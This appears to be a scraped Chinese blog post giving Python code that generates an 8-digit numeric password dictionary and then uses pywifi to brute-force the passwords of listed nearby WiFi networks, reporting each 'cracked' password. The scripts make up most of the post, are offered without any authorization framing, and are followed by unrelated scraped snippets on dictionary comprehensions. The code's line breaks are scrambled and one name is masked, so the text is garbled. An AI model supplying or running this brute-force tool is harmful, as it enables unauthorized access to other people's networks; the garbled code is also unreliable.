python之生成字典和連線Wifi

2021-10-02 16:03:09 字數 2828 閱讀 4381

# -*- coding: utf-8 -*-

import itertools as its

# 單個字元的集合

words=

"0123456789"

# 每次任選乙個字元,重複8次

arrays = its.product(words, repeat =8)

# 寫入txt文字檔案

dictionary =

open

("c:/users/administrator/desktop/dictionary.txt"

,"a"

)for item in arrays:

# 一行密碼

dictionary.write(

"".join(item)

)# 換行

dictionary.write(

"".join(

"\n"))

print

(item)

# 關閉檔案

dictionary.close(

)print

("[mission completion]"

)

import pywifi

from pywifi import const

import time

#測試連線,返回鏈結結果

defwificonnect

(ssid,pwd)

:# 抓取網絡卡介面

wifi=pywifi.pywifi(

)# 獲取第乙個無線網絡卡

ifaces=wifi.inte***ces()[

0]# 斷開所有連線

ifaces.disconnect(

)# 休眠一秒

time.sleep(1)

# 獲取網絡卡狀態

wifistatus=ifaces.status(

)# 未連線時

if wifistatus ==const.iface_disconnected:

# 建立wifi連線檔案

profile=pywifi.profile(

)# 要連線wifi的名稱

profile.ssid=ssid

# 網絡卡的開放狀態

profile.auth=const.auth_alg_open

# wifi加密演算法

# 加密單元

profile.cipher=const.cipher_type_ccmp

# 呼叫密碼

profile.key=pwd

# 刪除所有連線過的wifi檔案

ifaces.remove_all_network_profiles(

)# 設定新的連線檔案

tep_profile=ifaces.add_network_profile(profile)

# 連線

ifaces.connect(tep_profile)

# wifi連線時間

time.sleep(3)

# 連線成功

if ifaces.status(

)==const.iface_connected:

return

true

# 連線失敗

else

:return

false

else

:print

("已有wifi連線"

)#讀取密碼本

defreadpassword

(ssid)

:print

("開始破解:"

,ssid)

# 密碼本路徑

dictionary_path=

"c:/users/administrator/dictionary.txt"

# 開啟檔案

file

=open

(dictionary_path,

"r")

''' # 這裡可以跳行儲存上次的進度,接著破解

for i in range(16547):

line = file.readline()

'''while

true

:try

:# 一行一行讀取

line=

file

.readline(

)# 讀完了退出

ifnot line:

break

# 破解結果

bool

=wificonnect(ssid,line)

# 破解成功

ifbool

:print

(ssid,

"的密碼已破解: "

,line)

print

("wifi已自動連線!!!"

)break

else

:# 跳出當前迴圈,進行下一次迴圈

print

(ssid,

"的密碼破解中....密碼校對: "

,line)

# ctrl-c中止程式

except

:print

("中止程式"

)break

if __name__ ==

'__main__'

:# 這裡手動輸入周圍的wifi名字

wifi_names =

['chinanet-a'

,'奧托曼的wifi'

,'360wifi'

]# 測試每個wifi

for item in wifi_names:

readpassword(item)

Python之字典生成式

1.假設有20個學生,名字為westosx,學生分數在60 100之間,篩選出成績在90分以上的學生 import random stuinfo for i in range 20 name westos str i score random.randint 60,100 stuinfo name ...

python 集合和字典生成式

print print if i 3 0 執行結果 coding utf 8 name 字典生成式.py date 4 3 19 author limin wsp connect 314690259 qq.com desc 假設有20個學生,學生名為westosx,學生成績在60 100之間,篩選出...

Python之集合和字典

集合是乙個無重複元素的集,支援交,差,與等數 算,大括號和set 均能建立集合,但建立空集合只能用set 用於建立空字典 ab 建立集合 ab a set python 建立集合 b set cool a b o in a 判斷o是否在集合中 true a b a有而b沒有的元素 a b 存在於a或...